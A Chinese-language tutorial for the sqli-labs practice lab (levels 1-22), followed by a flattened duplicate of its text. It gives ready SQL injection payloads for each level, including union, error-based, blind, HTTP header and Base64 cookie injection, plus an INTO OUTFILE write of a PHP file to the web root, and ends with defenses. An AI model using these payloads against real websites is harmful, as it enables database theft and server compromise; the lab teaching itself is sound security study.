SQL注入练习之sqli-labs(Less1-22)
字数 1796 2025-08-12 11:34:25

SQL注入练习之sqli-labs(Less1-22) 教学文档

1. 基本概念

SQL注入是一种常见的Web安全漏洞,攻击者通过在应用程序的输入字段中插入恶意的SQL代码,从而绕过安全限制,获取数据库中的敏感信息或执行未授权的操作。

2. 注入类型分类

2.1 按注入方式分类

  • 联合查询注入(Union-based)
  • 报错注入(Error-based)
  • 布尔盲注(Boolean-based Blind)
  • 时间盲注(Time-based Blind)

2.2 按注入点分类

  • GET参数注入
  • POST参数注入
  • HTTP头注入(User-Agent, Referer等)
  • Cookie注入

3. 各关卡详细注入方法

Less1 - 字符型单引号注入

联合注入:

?id=-1' union select 1,group_concat((select database()), (select user()), (select version())),3%23

报错注入:

?id=1' and extractvalue(1,concat(0x7e,(mid((select group_concat(schema_name) from information_schema.schemata),1,31))))%23

布尔盲注:

?id=1' and if(length((select database()))>0,1,0)%23

时间盲注:

?id=1' and sleep(5)%23

Less2 - 数字型注入

联合注入:

?id=-1 union select 1,group_concat((select user()), (select database()), (select version())),3%23

报错注入:

?id=1 and extractvalue(1,concat(0x7e,(select database())))%23

Less3 - 字符型单引号括号注入

联合注入:

?id=-1') union select 1,group_concat((select user()), (select database()), (select version())),3%23

Less4 - 字符型双引号括号注入

联合注入:

?id=-1") union select 1,group_concat((select user()), (select database()), (select version())),3%23

Less5 - 报错注入

报错注入:

?id=5' and extractvalue(1,(concat(0x7e,(select database()))))%23

Less6 - 双引号报错注入

报错注入:

?id=1" and extractvalue(1,(concat(0x7e,(select database()))))%23

Less7 - 文件导出注入

写webshell:

?id=1')) INTO OUTFILE '/var/www/html/phpinfo1.php' lines terminated by '<?=phpinfo();?>'%23

Less8 - 布尔盲注

猜解数据库名:

?id=1' and if(mid((select database()),1,1)='s',sleep(2),0)%23

Less9 - 时间盲注

时间盲注:

?id=1' and if(length((select database()))>0,sleep(5),0)%23

Less10 - 双引号时间盲注

时间盲注:

?id=1" and if(length((select database()))>0,sleep(5),0)%23

Less11 - POST表单注入

联合注入:

uname=-admin' union select 1,database()%23&passwd=asdf&submit=Submit

Less12 - 双引号括号POST注入

联合注入:

uname=-admin") union select 1,database()%23&passwd=asdf&submit=Submit

Less13 - 单引号括号POST报错注入

报错注入:

uname=admin') and extractvalue(1,concat(0x7e,(select database())))%23&passwd=asdgfasdg&submit=Submit

Less14 - 双引号POST报错注入

报错注入:

uname=admin" and extractvalue(1,concat(0x7e,(select database())))%23&passwd=asdfas&submit=Submit

Less15 - POST时间盲注

时间盲注:

uname=admin'+and+if(length((select database()))>0,sleep(3),0)%23&passwd=asdfasdf&submit=Submit

Less16 - 双引号括号POST时间盲注

时间盲注:

uname=admin")+and+if(length((select database()))>0,sleep(3),0)%23&passwd=asdfasdf&submit=Submit

Less17 - 密码字段报错注入

报错注入:

uname=admin&passwd=asdfas' and extractvalue(1,concat(0x7e,(select database())))%23&submit=Submit

Less18 - User-Agent头注入

报错注入:

' and extractvalue(1,concat(0x7e,(select database()))) and updatexml(1,concat(0x7e,(select database())),3),'

Less19 - Referer头注入

报错注入:

' and extractvalue(1,concat(0x7e,(select database()))) and updatexml(1,concat(0x7e,(select database())),3),'

Less20 - Cookie注入

联合注入:

uname=-admin' union select 1,database(),3%23

Less21 - Base64编码Cookie注入

联合注入:

uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsKHNlbGVjdCBkYXRhYmFzZSgpKSwzIw==

Less22 - 双引号Base64编码Cookie注入

联合注入:

uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwoc2VsZWN0IGRhdGFiYXNlKCkpLDMj

4. 关键技术与技巧

4.1 联合查询注入关键点

  • 使用union select合并查询结果
  • 确定列数(通常使用order by测试)
  • 使用group_concat()合并多行结果
  • 使用null或数字占位符填充不需要的列

4.2 报错注入关键函数

  • extractvalue(): 从XML中提取值,通过构造错误获取信息
  • updatexml(): 更新XML文档,通过构造错误获取信息
  • 使用0x7e(~)作为错误触发点
  • 使用mid()substring()分段获取长数据

4.3 盲注技术

  • 布尔盲注: 根据页面返回的真假判断条件
  • 时间盲注: 使用sleep()函数根据响应时间判断条件
  • 常用函数: if(), length(), mid(), substring(), ascii()

4.4 文件导出技术

  • INTO OUTFILE: 将查询结果写入文件
  • 多种写入方式:
    • lines terminated by: 行终止符
    • lines starting by: 行起始符
    • fields terminated by: 字段分隔符
    • columns terminated by: 列分隔符

4.5 HTTP头注入

  • 注入点可能存在于:
    • User-Agent
    • Referer
    • Cookie
    • X-Forwarded-For等
  • 需要能够修改HTTP头信息

4.6 编码绕过技术

  • Base64编码: 用于绕过某些过滤
  • URL编码: 特殊字符编码
  • 十六进制表示: 使用0x前缀

5. 防御措施

  1. 使用参数化查询(Prepared Statements)
  2. 实施最小权限原则
  3. 输入验证和过滤
  4. 使用Web应用防火墙(WAF)
  5. 错误信息处理(不显示详细错误)
  6. 定期安全测试和代码审计

6. 总结

本教学文档涵盖了sqli-labs前22关的各种SQL注入技术,包括不同类型的注入方法和各种注入场景。通过实践这些关卡,可以全面了解SQL注入的原理、技术和防御方法。建议在实际环境中谨慎使用这些技术,仅用于合法的安全测试和学习目的。

SQL注入练习之sqli-labs(Less1-22) 教学文档 1. 基本概念 SQL注入是一种常见的Web安全漏洞,攻击者通过在应用程序的输入字段中插入恶意的SQL代码,从而绕过安全限制,获取数据库中的敏感信息或执行未授权的操作。 2. 注入类型分类 2.1 按注入方式分类 联合查询注入(Union-based) 报错注入(Error-based) 布尔盲注(Boolean-based Blind) 时间盲注(Time-based Blind) 2.2 按注入点分类 GET参数注入 POST参数注入 HTTP头注入(User-Agent, Referer等) Cookie注入 3. 各关卡详细注入方法 Less1 - 字符型单引号注入 联合注入 : 报错注入 : 布尔盲注 : 时间盲注 : Less2 - 数字型注入 联合注入 : 报错注入 : Less3 - 字符型单引号括号注入 联合注入 : Less4 - 字符型双引号括号注入 联合注入 : Less5 - 报错注入 报错注入 : Less6 - 双引号报错注入 报错注入 : Less7 - 文件导出注入 写webshell : Less8 - 布尔盲注 猜解数据库名 : Less9 - 时间盲注 时间盲注 : Less10 - 双引号时间盲注 时间盲注 : Less11 - POST表单注入 联合注入 : Less12 - 双引号括号POST注入 联合注入 : Less13 - 单引号括号POST报错注入 报错注入 : Less14 - 双引号POST报错注入 报错注入 : Less15 - POST时间盲注 时间盲注 : Less16 - 双引号括号POST时间盲注 时间盲注 : Less17 - 密码字段报错注入 报错注入 : Less18 - User-Agent头注入 报错注入 : Less19 - Referer头注入 报错注入 : Less20 - Cookie注入 联合注入 : Less21 - Base64编码Cookie注入 联合注入 : Less22 - 双引号Base64编码Cookie注入 联合注入 : 4. 关键技术与技巧 4.1 联合查询注入关键点 使用 union select 合并查询结果 确定列数(通常使用 order by 测试) 使用 group_concat() 合并多行结果 使用 null 或数字占位符填充不需要的列 4.2 报错注入关键函数 extractvalue() : 从XML中提取值,通过构造错误获取信息 updatexml() : 更新XML文档,通过构造错误获取信息 使用 0x7e(~) 作为错误触发点 使用 mid() 或 substring() 分段获取长数据 4.3 盲注技术 布尔盲注 : 根据页面返回的真假判断条件 时间盲注 : 使用 sleep() 函数根据响应时间判断条件 常用函数: if() , length() , mid() , substring() , ascii() 4.4 文件导出技术 INTO OUTFILE : 将查询结果写入文件 多种写入方式: lines terminated by : 行终止符 lines starting by : 行起始符 fields terminated by : 字段分隔符 columns terminated by : 列分隔符 4.5 HTTP头注入 注入点可能存在于: User-Agent Referer Cookie X-Forwarded-For等 需要能够修改HTTP头信息 4.6 编码绕过技术 Base64编码: 用于绕过某些过滤 URL编码: 特殊字符编码 十六进制表示: 使用 0x 前缀 5. 防御措施 使用参数化查询(Prepared Statements) 实施最小权限原则 输入验证和过滤 使用Web应用防火墙(WAF) 错误信息处理(不显示详细错误) 定期安全测试和代码审计 6. 总结 本教学文档涵盖了sqli-labs前22关的各种SQL注入技术,包括不同类型的注入方法和各种注入场景。通过实践这些关卡,可以全面了解SQL注入的原理、技术和防御方法。建议在实际环境中谨慎使用这些技术,仅用于合法的安全测试和学习目的。